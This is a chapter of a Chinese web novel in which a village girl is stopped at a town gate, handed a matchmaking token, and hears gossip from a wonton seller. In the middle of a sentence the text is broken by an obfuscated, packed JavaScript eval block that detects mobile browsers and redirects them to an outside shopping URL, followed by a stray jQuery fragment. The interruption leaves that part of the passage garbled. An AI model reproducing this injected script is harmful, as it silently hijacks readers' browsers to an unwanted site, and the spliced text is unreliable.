黑妞今日要去的是离村颇远的西守县。
因距离京城不远,又是在由西入京的必经之路上,西守比之寻常县城要繁华不少。
但碍于路程远了些,加上县城东西贵了些,平日村民买个寻常物什,大都会去乡间集市,一年到头倒也去不了几次县城。
黑妞此去县城,是为卖些山中之物。可虽是山中物,却也有些特别。乡间集市吃不下,也卖不上价。她又非真傻,自是不愿贱卖。
说来,早几日前,她已将东西整理妥帖。怎奈大雪一连几日未停,甄阿翁不放心让她出门。
可眼见着马上就要过年,昨日夜里雪又转小了些,黑妞便没听甄阿翁那“再等等看”的唠叨。赶着天没亮,便就悄摸摸出了村。
负重虽是不轻,可黑妞一路脚步未停。约莫刚至巳时,便已远远望见了西守城门。
这般的脚程,比之晴日无阻时毫无负重的壮年劳力竟还要快些。
只是,今日的城门口与往日相比却似有些不同。
城门两侧的城墙之上多了数张大幅告示,守卫更是多了数倍。且其中,明显还混了两个异类。
之所以说是异类,是因那两人非是寻常守城着装,而是穿的更花里胡哨了些,更人模狗样了些。
嗯,就是这样。
黑妞边用她那懒得动弹的脑袋瓜得出结论,边随着其他进城的之人缓缓前行。
见那些守卫虽是站得笔挺了些,却也只是站在一旁,并无其他作为。黑妞安下心来。
还好,不至于进不了城。
黑妞如是想着,抬起眸子,又看了一眼。不想却对上一双亮晶晶的眸子。
而那眸子的主人,正是其中一个守卫。
下一瞬,那守卫便迈开步子,径直走上前来拦住了黑妞。
黑妞眨了眨眸子,满脸诧异。
这守卫却已上下打量过黑妞,又扫了眼黑妞担着的两捆干柴,随后啧啧两声,便是一通盘问。且这问的既多又杂,从家住何处、家中几人,到家境如何、平日营生,再到现下年岁、是否婚配……
黑妞倒也有问必答。虽说答起来,明显木讷了些,慢吞了些。说不上傻,却也不难看出有几分笨拙。
可问话的守卫非但不见嫌恶,反是越问,越压不下那上翘的嘴角。
更有那两个衣着花里胡哨的凑上前来,拿出册子,写写又画画。
“你这女娘,算是有福了。”
问道最后,守卫与那两个花里胡哨对视一眼,满脸堆笑地拿出块带着花纹的对牌一分为二,将其中半块递给黑妞。
“喏,拿着!
记得未时前赶到杨柳街的春风院前报到。
说不得,能给你分个郎君,还能白得银子。”
黑妞一怔,未去接那牌子,反而向后退了退。
她可从未想过要什么郎君。
自己过得好好的,何必非要找个郎君。找来嫌弃自己丑,嫌弃自己傻不成。
至于白得银子。
傻子才信这等鬼话。且她也不缺银子。
见黑妞不接反退,守卫蹙眉,又往前递了递。
“拿好,不然不让进城。”
黑妞抿唇,瞟了眼对牌,转身便走。边走,边还念叨:“嗯,那我就不进城了。”
“你这是要往哪里跑?”
几个人不想黑妞竟会来此一出,忙上前阻拦。
“不进城,还不行吗?”
黑妞见这架势,面露茫然。
“这可由不得你。
大冷天儿的,兄弟几个守了一个早上,好不容易等到一个你。岂有将人放跑的道理。”
拦在最前面的是那两个花里胡哨。
“小女娘,你可听好了。
兄弟们可是奉了上意来此办差。
敢跑?莫不是想让一村子的人都陪你去大牢过这个年?”
两个花里胡哨板起脸来,一唱一和。
可这话说的却是有真有假。
守了一早上是真,奉了上意是真。可若说这惩处,便就有假了。
便是执意不收这牌子,他们也不能将人抓去大牢。更遑论牵连一村。
但,自古民不与官斗。
就他们看来,大约也没人非要执拗地去牢里蹲上一蹲,试一试真假。
黑妞踌躇,看了眼守卫拿着的牌子,小声嘀咕:“阿翁说了,不让去杨柳街。”
杨柳街,乃是西守县城风月场与赌场所在。
甄家三个孙儿初次进县城做短工时,甄阿翁就曾反复叮嘱,要他们离杨柳街远远的,不得好奇探究。若敢不听,定要打断他们狗腿。
甄阿翁这般的叮嘱并非独一份。许多家中长辈都这般叮嘱过小辈。
甄家三个孙儿孝顺听话,自不敢违逆。就是不知其他家的会不会适得其反。
“都说了,是奉了上意。
莫说是你阿翁不让去,便是天上下刀子,今儿你也必须去!”
一花里胡哨说着,凶巴巴地示意黑妞伸手。
“可黑妞不想要郎君。”
黑妞不死心。
这花里胡哨斜睨一眼黑妞:“你想不想不重要。
再说了,看看你这样子。若是能有个郎君,不得天天烧高香?
不然你想如何,眼见便到年岁,真要交那一年二两的税不成?”
“阿翁说还未到。
等到了,会交的。”
黑妞再次嘀咕道。
“还交?一年二两你交得起吗?你见过二两银子长什么样吗?
没到年岁?还不是转过年的事儿。
莫再啰嗦,赶紧拿好!
若是未时前不到,就等着全村陪你去蹲大牢吧。
还有,莫要想的太美。去了也不一定有你的份。”
另一花里胡哨说着,自守卫手中扯过牌子不耐烦地塞给黑妞,又把人往城里赶了赶。
“哦,原来不是去了就给。”
黑妞皱巴的脸舒展开来。
算了,她还是先去吃碗馄饨压压惊,然后去第一楼把东西卖了再说。
黑妞抬头望天,默默盘算。
不觉间,连续下了几日的雪竟是渐渐停了,云层间藏了许久的日头也冒出了头来。
“莫要错过时辰。
不然,就擎等着去蹲大牢吧!”
一花里胡哨似不放心,又冲黑妞喊了句。
这次所说的蹲大牢,倒是不假。
若收了官府牌子,人却未去,算得上是愚弄官府,便真就要受些惩处了。
“记着呢!”
黑妞应了声,径直朝西街而去。
那里有一家很好吃的鸡汤馄饨,也不知今日是否出摊。
“呦,这不是黑妞吗?!
你看你这一来雪都停了,来碗馄饨?”
黑妞挑着两垛干柴显眼很。馄饨摊主远远便已瞧见。
摊主五十来岁,人称钱大伯,对这一年来时长进城吃他家馄饨的黑妞并不陌生。
见人走近,忙上前招呼。
“要两碗!”
黑妞数出八文钱,递给钱大伯。
钱大伯笑着接过铜板:“好嘞!柴放那边。坐下等,一会儿就好。”
“我记得你家离县城挺远的。一路上雪积
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381251|200191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的挺厚实吧?咋跑这么远来卖柴?”
钱大伯一边下馄饨,一遍搭讪。
“县里柴贵。”
因是雪天,又稍稍过了朝食的点儿,此时摊上没有其他食客。黑妞便随意在遮雪的棚下,找了个位子坐下。
“那倒是,今年雪大柴贵。你这两捆又这般多,估计卖上个五六十文不成问题。”
钱大伯往锅里打了些凉水,又瞅了瞅那干柴。又多又齐整,不由咂舌。
黑妞冲钱大伯笑了笑,却未搭话。
钱大伯也不在意,四下看了看,压低声音道:“进城被盘问了没,给了牌子没?”
黑妞点了点头,如实答道:“嗯。问了,给了。”
“我就知道。”
钱大伯快而不乱地盛好两碗馄饨端到黑妞面前,顺便拉了个矮凳,在一旁坐下。
“你这丫头,可知为何?”
钱大伯搓了搓手,一脸的八卦欲。
“说是要给小倌选亲。”
黑妞道。
虽说那几个盘问她的守卫并未言明,但那城门口的告示,她却是看到了的。
“这倒不假。
前几日,衙役便在城中敲锣打鼓。言说是奉了今上之命,今日要在杨柳街,给那残颜公子并几个京城明月楼的小倌婚配选亲。
说来,你可知何为小倌?”
钱大伯问道。
黑妞点头:“嗯,阿翁说过。”
钱大伯咂咂嘴:“这甄家老兄也没个忌讳,咋啥话都跟你说。”
黑妞默默喝了口汤,口中喃喃:“今上,就还挺闲的。”
若是不闲,怎会连人家小倌婚配都要管。
“呦,小祖宗。这话可不敢乱说。”
钱大伯赶忙四处望了望。见着没人,这才舒了口气。
“可是觉得今上让官府出面给小倌婚配过于稀奇?
那是你不明内里。
当然,莫说是你,便是这县城中人,十有八九也是只知其一,不知其二。
若不我那侄儿在衙门当差,深得赏识,我怕也是不知的。
今儿也是你来得巧。大伯便与你说道说道,也好叫你心中有个数。”
黑妞乖巧点头。
之于钱大伯眼中,便是满满的渴求。
“要说这其中详情,便就要从明月楼说起。
说来,你知小倌为何。那这明月楼,你可曾听说?”
黑妞刚扒拉了个馄饨。现下两腮鼓鼓,那抬头看向钱大伯的样子颇有几分茫然。
钱大伯好笑道:“瞧我,就不该问这话。你一个小女娘家家的,莫说远在京城的明月楼,只怕咱西守县春风院的门朝哪开,你也是不知的。”
黑妞默。
莫说春风院的门朝哪儿开她不知,便是春风院所在的杨柳街在哪儿她也不知。
不行,过会儿要去打听打听。省的去迟了。
“扯远了,扯远了。咱还是说回明月楼。
据说,明月楼乃是京城最大的风月之地,有东西两楼之分。
西楼之内,女子个个绝色。东楼之中,小倌人人风雅。
出入的也尽是京城里的达官显贵、文人雅士。
楼里有个‘残颜公子’,便是人族叛徒霍慕云之子。
这残颜公子身为人族叛徒之子,本不应被允存活于世间……”
说到此处,钱大伯顿了顿,才又接着道:“算了,说多了你也不懂。
总之,如若不是今上仁慈,他决计活不到今日……”
黑妞不知不觉间停了扒拉馄饨的动作。
残颜公子她是见过的。